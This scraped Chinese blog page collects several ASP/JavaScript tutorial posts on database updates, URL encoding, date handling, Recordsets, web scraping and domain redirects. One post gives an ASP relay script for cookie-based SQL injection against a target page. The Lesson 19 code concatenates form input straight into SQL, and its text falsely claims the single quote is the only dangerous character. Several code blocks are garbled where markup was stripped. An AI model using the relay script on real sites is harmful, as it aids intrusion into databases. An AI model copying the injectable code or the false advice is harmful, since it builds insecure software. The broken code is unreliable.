欢迎光临
我们一直在努力

javascript asp教程添加和修改

admin阅读(97)

The Connection Execute():

If you want to retrieve data from a database then you have no choice but to use a Recordset. However, for the purposes of adding, updating, and deleting data you don’t necessarily have to have a Recordset. It’s up to you.

For the purposes of adding, updating and deleting you can avoid the Recordset by using the Execute() method.

Get Started:

Below is the script for Lesson 19.

var strConnect="Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" 
strConnect += Server.MapPath("\GOP") + "\datastores\gop.mdb;"



Administrator Page - Changing the Mailing List


Administrator Page

Changing a the Mailing List

"") { var sql="DELETE FROM Address WHERE ID = " + Request.Form("ID") + ";" } else { var firstName = new String(Request.Form("firstName")) var lastName = new String(Request.Form("lastName")) var Address = new String(Request.Form("Address")) var City = new String(Request.Form("City")) var myRegExp = /[']/g; firstName = firstName.replace(myRegExp, '''); lastName = lastName.replace(myRegExp, '''); Address = Address.replace(myRegExp, '''); City = City.replace(myRegExp, '''); var sql="UPDATE Address SET firstName= '" + firstName + "' , lastName='" sql += lastName + "' , Address='" + Address + "' , City='" sql += City + "' , State='" + Request.Form("State") + "' , Zip='" sql += Request.Form("Zip") + "' WHERE ID = " + Request.Form("ID") + ";" } var objConn=Server.CreateObject("ADODB.Connection"); objConn.Open(strConnect) objConn.Execute(sql) objConn.Close() objConn = null; Response.Write("The member has been updated in the database.") Response.Write("") Response.Write("Click here to see it.") %>

There’s no link to see this one in action. I did that for security reasons. I just want to point out a few highlights.

Danger in The Single Quote:

You’ll notice that I replace single quote marks with the HTML encoded equivalent. I did that using the following code.

var myRegExp = /[']/g;
firstName = firstName.replace(myRegExp, ''');

The single quote is the only character you cannot input into a database using an ASP application. Everything else is fair game. DO NOT accept any text from users into your database without replacing all single quotes. To use an analogy, the single quote is like a key that opens up your entire database. Hackers will tear your application to shreds if you let someone input single quotes.

Execute( ):

The only other thing I want to spend any time with is objConn.Execute(sql). The variable sql takes on one of two definitions depending on the result of an “if” statement. In this case sql does all the work, and we never need a recordset.

ASP实现URL编码

admin阅读(58)

URL编码是指为了将信息通过URL进行传输,所以必须将某些含有特殊意义的字符进行替换的一种编码方式,在asp中我们都知道有一个Server.URLEncode的函数可以完成这个功能。即:
  如果有空格就用%20代替,如果有其它字符就用%ASCII代替,如果有汉字等四个字节的字符,就用两个%ASCII来代替。不过有时候我们也需要将经过这种编码的字符串进行解码,但asp并没有提供相关的函数,这给我们处理问题带来了一定的麻烦。其实我们只要知道了编码规则后,就可以用asp代码来实现我们自己的URlDecode函数了。

  具体实现如下:

复制代码 代码如下:
function urldecode(encodestr)
newstr=””
havechar=false
lastchar=””
for i=1 to len(encodestr)
char_c=mid(encodestr,i,1)
if char_c=”+” then
newstr=newstr & ” ”
elseif char_c=”%” then
next_1_c=mid(encodestr,i+1,2)
next_1_num=cint(“&H” & next_1_c)

if havechar then
havechar=false
newstr=newstr & chr(cint(“&H” & lastchar & next_1_c))
else
if abs(next_1_num)<=127 then=""
newstr=newstr & chr(next_1_num)
else
havechar=true
lastchar=next_1_c
end if
end if
i=i+2
else
newstr=newstr & char_c
end if

next
urldecode=newstr
end function

javascript asp教程 日期相关

admin阅读(51)

JavaScript is loosely typed. Database files are not. If you put text into a Boolean database column or a Boolean value into a date/time column, then you will get an error.

For the most part this is not a problem, except for date/time. It does not correspond to the JavaScript Date Object. So, we have to tear Date apart and rebuild it from scratch. If we don’t, then we get a type mismatch error.

Take a look at the snippet below. (It’s not part of our lesson, but I want you to look at it anyway.) Please notice DateTime.

objConn.Open(strConnect)
sql = "INSERT INTO FoloVisit (SessionID,VisitTime) "
sql+= "Values ('" + Session.SessionID + "',#" + DateTime + "#);"
objConn.Execute(sql)

DateTime has to be in a very particular format: #mm/dd/yyyy hh:mm:ss [a|p]m# As you well know new Date() doesn’t even come close to this format. We will fix that in the script below.

Get Started:

Below is the script for Lesson 20.


Dim VBTime,VBDate,VBDateTime
VBTime = Time & " "
VBDate = Date & " "
VBDateTime = Date & " " & Time

=0 && minute = 0 && second  12)
		{ ampm=true
		hours=hours-12 }
	if (hours==12)
		{ ampm=true }
	if (hours == 0)
		{ hours=hours+12
		ampm=false }
	if (ampm)
		{ ampm=" PM" }
	else
		{ ampm=" AM" }
	var myTime=hours + ":" + minute + ":" + second + ampm
	return myTime;
	}
var DateTime = new Date();
var Month = (DateTime.getMonth() + 1) + "/";
var Day = DateTime.getDate() + "/";
var Year = DateTime.getFullYear();
var JustTheDate = Month + Day + Year;
var JustTheTime = whatTimeIsIt();
var DateTime = Month + Day + Year + " " + whatTimeIsIt();

Response.Write("r")
Response.Write("JavaScript Time
r") Response.Write("The date in proper database format is: " + JustTheDate + "
r") Response.Write("The time in proper database format is: " + JustTheTime + "
r") Response.Write("The date & time together are: " + DateTime + "
r") Response.Write("
r") Response.Write("VBScript Time
r") Response.Write("The date in proper database format is: " + VBDate + "
r") Response.Write("The time in proper database format is: " + VBTime + "
r") Response.Write("The date & time together are: " + VBDateTime + "
r") Response.Write("") %>

Click Here to run the script in a new window.

Living on VBScript Time:

The other way to solve the problem is to use the VBScript date and time Objects. What can I say? If you can’t beat ’em, steal from ’em!

Time For a Tangent:

If all you want to do is store new Date() exactly as-is in your database then do so in a text or memo column. The disadvantage of using this tactic is that SQL cannot sort items correctly by date and time. Instead, they’ll be sorted by alphabetical order.

Final Thoughts:

That’s the end of the lesson plan. I have received messages from all over the world. Thank you for your kind words. If you have questions or comments you can click onto the link for the home page and then there’s a link to contact me.

ASP版实现cookies注入加速工具

admin阅读(31)

来源:职业欠钱&zj1244共用的public Blog

复制代码 代码如下:
<%
Str=”xxxid=”&escape(request(“FK”))
Url=”http://xxx.chinaxxx.com/injection.asp”
response.write PostData(Url,Str)

Function PostData(PostUrl,PostCok)
Dim Http
Set Http = Server.CreateObject(“msxml2.serverXMLHTTP”)
With Http

.Open “GET”,PostUrl,False
.SetRequestHeader “Cookie”,PostCok
.Send
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = “”
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function

%>

asp下经常用到的代码

admin阅读(38)

点击提示“确定”与“取消”提示框
onclick='{if(confirm(“您确定删除吗?此操作将不能恢复!”)){return true;}return false;}’

删除.LDB文件
<%
Application.Contents.Removeall()
%>

将HTML格式转换为纯文本格式
<%
Function RemoveHTML(strHTML)
Dim objRegExp, Match, Matches
Set objRegExp = New Regexp

objRegExp.IgnoreCase = True
objRegExp.Global = True
‘取闭合的
objRegExp.Pattern = “”
‘进行匹配
Set Matches = objRegExp.Execute(strHTML)

‘ 遍历匹配集合,并替换掉匹配的项目
For Each Match in Matches
strHtml=Replace(strHTML,Match.Value,””)
Next
RemoveHTML=strHTML
Set objRegExp = Nothing
End Function

%>
调用

25、当前页地址
<%
response.write “http://”&Request.ServerVariables(“server_name”)&Request.ServerVariables(“script_name”)
%>

asp下实现UrlEncoding转换编码的代码

admin阅读(43)

‘==================================================
‘函数名:UrlEncoding
‘作 用:转换编码
‘==================================================
Function UrlEncoding(DataStr)
Dim StrReturn,Si,ThisChr,InnerCode,Hight8,Low8
StrReturn = “”
For Si = 1 To Len(DataStr)
ThisChr = Mid(DataStr,Si,1)
If Abs(Asc(ThisChr)) < &HFF Then
StrReturn = StrReturn & ThisChr
Else
InnerCode = Asc(ThisChr)
If InnerCode < 0 Then
InnerCode = InnerCode + &H10000
End If
Hight8 = (InnerCode And &HFF00) &HFF
Low8 = InnerCode And &HFF
StrReturn = StrReturn & “%” & Hex(Hight8) & “%” & Hex(Low8)
End If
Next
UrlEncoding = StrReturn
End Function

通过MSXML2自动获取QQ个人头像及在线情况(给初学者)

admin阅读(43)

不知道大家对MSXML2.XMLHTTP是不是很熟悉,不过它的功能可以说是达到了极点.你可以通过它把别人的网站都”搬回来”,呵呵,吹牛啦!!
今天我就用它从腾讯网站获取一个QQ号码的头像,在线情况(人家隐身了我也没办法).当然大家也可以获取QQ的昵称,所在地等.具体实现方法如下:
先建立两个函数,用来处理一个URL

复制代码 代码如下:
<%
function getHTTPPage(url)
dim http
set http=createobject(“MSXML2.XMLHTTP”)
Http.open “GET”,url,false
Http.send()
if Http.readystate4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number0 then err.Clear
end function
”””’以下处理字符
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = “”
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>

这两个函数你可以收藏起来,用处大得不得了.
大家可以先看看这个地址http://friend.qq.com/cgi-bin/friend/oicq_find?oicq_no=5292816
(QQ是本人的,我每天都很忙,请大家自觉,呵呵,讨论问题非常欢迎)
以下我们就通过腾讯的好友查找来获取信息,
<%
function qqhead(qq)
url=”http://friend.qq.com/cgi-bin/friend/oicq_find?oicq_no=”&qq
content=getHTTPPage(url)
if len(content)>6360 then ‘如果QQ无效,做一些处理,避免错误发生.
content=replace(mid(content,instr(content,”http://img.tencent.com”),38),””””,””)
qqhead=”
else
qqhead=””
end if
end function
‘OK了,大功告成了.现在大家只要调用就行了.
response.write qqhead(5292816)
如果QQ头像是彩色的,说明好友在线,灰的就是不在线.
%>

大家可以到http://www.okwest.net/books看看效果.呵呵.

用ASP VBS xmlhttp adodbstream下载和保存图片的代码

admin阅读(43)

函数:

复制代码 代码如下:
function saveFile(data,recfilen)
set Astream=CreateObject(“Adodb.Stream”)’asp Server.CreateObject(“Adodb.Stream”)
fxt=mid(recfilen,InStrRev(recfilen,”.”)+1)
txt=false
if fxt=”asp” or fxt=”xml” or fxt=”aspx” or fxt=”php” or fxt=”txt” or fxt=”jsp” then
txt=true
end if
if txt then
Astream.type=2 ‘1 bin,2 txt
else
Astream.type=1 ‘1 bin,2 txt
end if
Astream.Mode = 3′ adModeRead =1
‘  adModeReadWrite =3
‘  adModeRecursive =4194304
‘  adModeShareDenyNone =16
‘  adModeShareDenyRead =4
‘  adModeShareDenyWrite =8
‘  adModeShareExclusive =12
‘  adModeUnknown =0
‘  adModeWrite =2
Astream.open
‘Astream.CharSet = “GB2312”
‘Astream.LoadFromFile(recfilen) ‘装载文件
‘Assp=Astream.size
Astream.Position =0 ‘装载文件时设置为Assp
‘Astream.Writetext tmpstr00,1
if txt then
data=bytes2bstr(data)
Astream.Writetext data,1
else
Astream.Write data
end if

Astream.SaveToFile recfilen,2
Astream.close
end function
‘Server.

function downimg(url)
set oXMLHTTP =CreateObject(“Microsoft.XMLHTTP”)’asp Server.CreateObject(“Microsoft.XMLHTTP”)
data_got=””
oXMLHTTP.open “GET”,url, false
oXMLHTTP.setRequestHeader “Accept-Encoding”,” gzip, deflate”
oXMLHTTP.setRequestHeader “User-Agent”,”Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 2.0.50727)”
oXMLHTTP.send
rtstatus=oXMLHTTP.status
data_got=oXMLHTTP.responsebody
filename=mid(url,InStrRev(url,”/”)+1)
if rtstatus=200 then
data_got=oXMLHTTP.responsebody
saveFile data_got,filename
else
data_got=””
end if
set oXMLHTTP =nothing
end function
function bytes2bstr(vin) ‘二进制转化为汉字
strreturn = “”
for i = 1 to lenb(vin)
thischarcode = ascb(midb(vin,i,1))
if thischarcode < &h80 then
strreturn = strreturn & chr(thischarcode)
else
nextcharcode = ascb(midb(vin,i+1,1))
strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode))
i = i + 1
end if
next
bytes2bstr = strreturn
end function

使用方法:

复制代码 代码如下:
imgurl=”http://www.163car.com/UpFile/CarImages/0092/S_b_20051241127326f6uew1s.jpg” ‘图片
downimg(imgurl)
imgurl=”HTTP://login.zydn.net/news.asp” ‘文字页面
downimg(imgurl)

把代码保存为vbs文件,不需要iis就可以运行~

javascript asp教程Recordset记录

admin阅读(35)

Recordset is another created/instanciated Object. It is a collection of data taken from a database. Recordset has 26 properties, 25 methods, 11 events, and two (2) collections. The vast majority of Recordset is beyond the scope of this web site.

Quick Aside:

The database we are using for lesson 16 and lesson 17 is an MS Access 2000 file (not the best database for large sites). The file is called htmlColor.mdb and it has a single Table called colorChart. The database Table has three columns and they are called ID, colorName, and hexValue.

The illustration below shows how we will cycle through these records.

ID colorName hexValue
1 Aqua 00FFFF
2 Beige F5F5DC
3 Crimson DC143C
4 Darkviolet 9400D3
5 ForestGreen 228B22
ID colorName hexValue
1 Aqua 00FFFF
2 Beige F5F5DC
3 Crimson DC143C
4 Darkviolet 9400D3
5 ForestGreen 228B22
ID colorName hexValue
1 Aqua 00FFFF
2 Beige F5F5DC
3 Crimson DC143C
4 Darkviolet 9400D3
5 ForestGreen 228B22

In this example we cycle through the records row by row. We will use the MoveNext() Method to go from record #1 to #2, etc. Then, we will access specific data in each row by using the column name.

Get Started:

Below is the script for Lesson 17. It’s exactly the same as the script for lesson 16. The difference is that we will focus on those lines of code that deal with Recordsets.




<% var="" myconnect="Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" ;="" +="Server.MapPath("\");" connectobj="Server.CreateObject("ADODB.Connection");" rs="Server.CreateObject("ADODB.Recordset");" sql="SELECT ID, colorName, hexValue FROM colorChart;" connectobj.open="" (myconnect);="" rs.open(sql,connectobj,adopenforwardonly,adlockreadonly,adcmdtext);="" response.write("r");
Response.Write("");
Response.Write("r");
while (!RS.EOF)
	{
	Response.Write("r");
	RS.MoveNext();
	}
Response.Write("r");

RS.Close();
ConnectObj.Close();
RS = null;
ConnectObj = null;
%>


Click Here to run the script in a new window.

The DLL:

We’ll dissect the Recordset statements from top to bottom. In this case that means starting with the Dynamic Link Library.


What in the world is a DLL? A Dynamic Link Library holds values without tying up memory. Here’s how it works. If you try to use a variable that is undefined, ASP will first look it up in the DLL. You’ll notice in the Recorset.Open() Method that we use variables that are not defined in the script. Thanks to the DLL, we won’t get an error code.

Managing the Recordset:

First we must instanciate a Recordset, which we do in the little snippet below.

var RS = Server.CreateObject("ADODB.Recordset");

Next we create a Text Command. The text in question comes in the form of S.Q.L. (Structured Query Language). SQL is beyond the scope of this web site, but the command below means select ID, colorName and hexValue from the colorChart Table.

var sql="SELECT ID, colorName, hexValue FROM colorChart;";

Then we open the Recordset. The five arguments in order are: source, connection, cursor type, lock type, and options .

RS.Open(sql,ConnectObj,adOpenForwardOnly,adLockReadOnly,adCmdText);

Using a loop, we tell ASP to do certain things for as long as we haven’t hit EOF, which means End of File.

while (!RS.EOF)

Next, we access specific collums in the Recordset by name.

Response.Write( RS("hexValue") + "">" + RS("colorName") );

Then we move down from one row of records to the next.

RS.MoveNext();

Finally, when we reach EOF, the loop relinquishes control and we can close the Recordset Object.

RS.Close();

The Rest of The Story:

This is by no means a complete lesson on Recordsets; it wasn’t meant to be. The rest of the story on Recordsets is out there, on the internet, and in books. There is one other thing we have to talk about with Recordsets. We do that in lesson 18.

asp下同一空间多绑多哥域名的方法

admin阅读(58)

同一空间多绑一个域名

复制代码 代码如下:
<%
CheckDomain
Sub CheckDomain()
dim sDomain
sDomain = Request.ServerVariables(“HTTP_HOST”)
If Instr(sDomain,”a.xxx.com”)>0 then Response.Redirect “a/”
End Sub
%>

同一空间多绑二个域名

复制代码 代码如下:
<%
CheckDomain
Sub CheckDomain()
dim sDomain
sDomain = Request.ServerVariables(“HTTP_HOST”)

If Instr(sDomain,”a.xxx.com”)>0 then
Response.Redirect “a/”
Elseif Instr(sDomain,”b.xxx.com”)>0 then
Response.Redirect “b/”
End If
End Sub
%>

同一空间多绑三个域名

复制代码 代码如下:
<%
CheckDomain
Sub CheckDomain()
dim sDomain
sDomain = Request.ServerVariables(“HTTP_HOST”)

If Instr(sDomain,”a.xxx.com”)>0 then
Response.Redirect “a/”
Elseif Instr(sDomain,”b.xxx.com”)>0 then
Response.Redirect “b/”
Elseif Instr(sDomain,”c.xxx.com”)>0 then
Response.Redirect “c/”
End If
End Sub
%>

IDcolorNamehexValue
" +RS("ID")+ "" + RS("colorName") ); Response.Write("" +RS("hexValue")+ "